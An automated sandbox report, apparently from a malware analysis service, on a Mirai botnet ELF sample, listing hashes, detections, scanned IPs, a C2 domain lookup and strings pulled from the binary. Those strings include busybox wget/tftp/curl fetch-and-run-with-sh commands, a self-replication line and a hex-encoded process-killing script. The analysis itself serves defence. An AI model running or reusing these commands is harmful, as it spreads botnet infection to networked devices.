Linux Analysis Report
Kryl6TWwj6.elf

Overview

General Information

Sample name: Kryl6TWwj6.elf
renamed because original name is a hash value
Original sample name: d13c910c1ad81d53b8c4ad321dc01fe3.elf
Analysis ID: 1432508
MD5: d13c910c1ad81d53b8c4ad321dc01fe3
SHA1: 0f743865977614eed7ed7a2a96fd9be5358b73e2
SHA256: e2738a7a5f50e4645087630a11eaed7900d004962f6a0a708d37a61cc2ff613b
Tags: 32elfmiraimotorola
Infos:

Detection

Mirai
Score: 68
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Yara detected Mirai
Connects to many ports of the same IP (likely port scanning)
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection

barindex
Source: Kryl6TWwj6.elf Virustotal: Detection: 34% Perma Link
Source: Kryl6TWwj6.elf ReversingLabs: Detection: 55%
Source: Kryl6TWwj6.elf String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking

barindex
Source: Traffic Snort IDS: 2027973 ET EXPLOIT HiSilicon DVR - Default Telnet Root Password Inbound 192.168.2.15:50060 -> 186.39.126.147:23
Source: global traffic TCP traffic: 5.181.80.61 ports 38241,1,2,3,4,8
Source: global traffic TCP traffic: 192.168.2.15:43748 -> 5.181.80.61:38241
Source: /tmp/Kryl6TWwj6.elf (PID: 5835) Socket: 127.0.0.1::39148 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 15.27.199.147
Source: unknown TCP traffic detected without corresponding DNS query: 171.0.233.152
Source: unknown TCP traffic detected without corresponding DNS query: 67.138.60.248
Source: unknown TCP traffic detected without corresponding DNS query: 213.49.188.246
Source: unknown TCP traffic detected without corresponding DNS query: 211.176.65.199
Source: unknown TCP traffic detected without corresponding DNS query: 41.181.125.27
Source: unknown TCP traffic detected without corresponding DNS query: 215.193.161.148
Source: unknown TCP traffic detected without corresponding DNS query: 78.228.158.84
Source: unknown TCP traffic detected without corresponding DNS query: 21.104.112.3
Source: unknown TCP traffic detected without corresponding DNS query: 76.25.101.199
Source: unknown TCP traffic detected without corresponding DNS query: 91.208.242.30
Source: unknown TCP traffic detected without corresponding DNS query: 216.17.43.21
Source: unknown TCP traffic detected without corresponding DNS query: 108.139.158.92
Source: unknown TCP traffic detected without corresponding DNS query: 73.84.203.73
Source: unknown TCP traffic detected without corresponding DNS query: 131.187.229.114
Source: unknown TCP traffic detected without corresponding DNS query: 180.26.13.41
Source: unknown TCP traffic detected without corresponding DNS query: 115.72.12.6
Source: unknown TCP traffic detected without corresponding DNS query: 125.138.114.141
Source: unknown TCP traffic detected without corresponding DNS query: 163.131.117.239
Source: unknown TCP traffic detected without corresponding DNS query: 83.127.65.54
Source: unknown TCP traffic detected without corresponding DNS query: 72.138.197.122
Source: unknown TCP traffic detected without corresponding DNS query: 189.218.149.219
Source: unknown TCP traffic detected without corresponding DNS query: 221.201.15.3
Source: unknown TCP traffic detected without corresponding DNS query: 160.237.130.45
Source: unknown TCP traffic detected without corresponding DNS query: 56.158.56.1
Source: unknown TCP traffic detected without corresponding DNS query: 23.108.84.60
Source: unknown TCP traffic detected without corresponding DNS query: 162.85.214.166
Source: unknown TCP traffic detected without corresponding DNS query: 1.185.166.66
Source: unknown TCP traffic detected without corresponding DNS query: 182.255.241.64
Source: unknown TCP traffic detected without corresponding DNS query: 27.45.9.160
Source: unknown TCP traffic detected without corresponding DNS query: 171.117.60.147
Source: unknown TCP traffic detected without corresponding DNS query: 8.46.6.119
Source: unknown TCP traffic detected without corresponding DNS query: 91.40.80.176
Source: unknown TCP traffic detected without corresponding DNS query: 44.247.107.54
Source: unknown TCP traffic detected without corresponding DNS query: 31.161.99.140
Source: unknown TCP traffic detected without corresponding DNS query: 56.34.57.86
Source: unknown TCP traffic detected without corresponding DNS query: 31.143.194.167
Source: unknown TCP traffic detected without corresponding DNS query: 185.47.136.173
Source: unknown TCP traffic detected without corresponding DNS query: 164.134.82.87
Source: unknown TCP traffic detected without corresponding DNS query: 22.178.198.32
Source: unknown TCP traffic detected without corresponding DNS query: 96.198.140.3
Source: unknown TCP traffic detected without corresponding DNS query: 171.85.32.50
Source: unknown TCP traffic detected without corresponding DNS query: 58.126.111.12
Source: unknown TCP traffic detected without corresponding DNS query: 48.108.193.56
Source: unknown TCP traffic detected without corresponding DNS query: 95.8.155.124
Source: unknown TCP traffic detected without corresponding DNS query: 33.124.240.200
Source: unknown TCP traffic detected without corresponding DNS query: 135.202.28.188
Source: unknown TCP traffic detected without corresponding DNS query: 55.38.175.181
Source: unknown TCP traffic detected without corresponding DNS query: 74.112.195.186
Source: unknown TCP traffic detected without corresponding DNS query: 194.145.208.228
Source: global traffic DNS traffic detected: DNS query: yellowchink.pirate
Source: Kryl6TWwj6.elf String found in binary or memory: http:///curl.sh
Source: Kryl6TWwj6.elf String found in binary or memory: http:///wget.sh
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal68.troj.linELF@0/143@1/0
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5870/maps Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5870/cmdline Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5860/maps Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5860/cmdline Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5871/maps Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5871/cmdline Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5861/maps Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5861/cmdline Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5872/maps Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5872/cmdline Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5862/maps Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5862/cmdline Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5873/maps Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5873/cmdline Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5927/maps Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5927/cmdline Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5863/maps Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5863/cmdline Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5874/maps Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5874/cmdline Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5864/maps Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5864/cmdline Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5875/maps Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5875/cmdline Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5865/maps Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5865/cmdline Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5876/maps Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5876/cmdline Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5866/maps Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5866/cmdline Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5888/maps Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5888/cmdline Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5867/maps Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5867/cmdline Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5857/maps Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5857/cmdline Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5868/maps Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5868/cmdline Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5858/maps Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5858/cmdline Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5869/maps Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5869/cmdline Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5859/maps Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5841) File opened: /proc/5859/cmdline Jump to behavior
Source: /tmp/Kryl6TWwj6.elf (PID: 5835) Queries kernel information via 'uname': Jump to behavior
Source: Kryl6TWwj6.elf, 5835.1.00007ffdd1da6000.00007ffdd1dc7000.rw-.sdmp, Kryl6TWwj6.elf, 5839.1.00007ffdd1da6000.00007ffdd1dc7000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-m68k/tmp/Kryl6TWwj6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/Kryl6TWwj6.elf
Source: Kryl6TWwj6.elf, 5835.1.000055e3aedbf000.000055e3aee44000.rw-.sdmp, Kryl6TWwj6.elf, 5839.1.000055e3aedbf000.000055e3aee44000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/m68k
Source: Kryl6TWwj6.elf, 5835.1.00007ffdd1da6000.00007ffdd1dc7000.rw-.sdmp, Kryl6TWwj6.elf, 5839.1.00007ffdd1da6000.00007ffdd1dc7000.rw-.sdmp Binary or memory string: /usr/bin/qemu-m68k
Source: Kryl6TWwj6.elf, 5835.1.000055e3aedbf000.000055e3aee44000.rw-.sdmp, Kryl6TWwj6.elf, 5839.1.000055e3aedbf000.000055e3aee44000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/m68k

Stealing of Sensitive Information

barindex
Source: Yara match File source: dump.pcap, type: PCAP

Remote Access Functionality

barindex
Source: Yara match File source: dump.pcap, type: PCAP
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs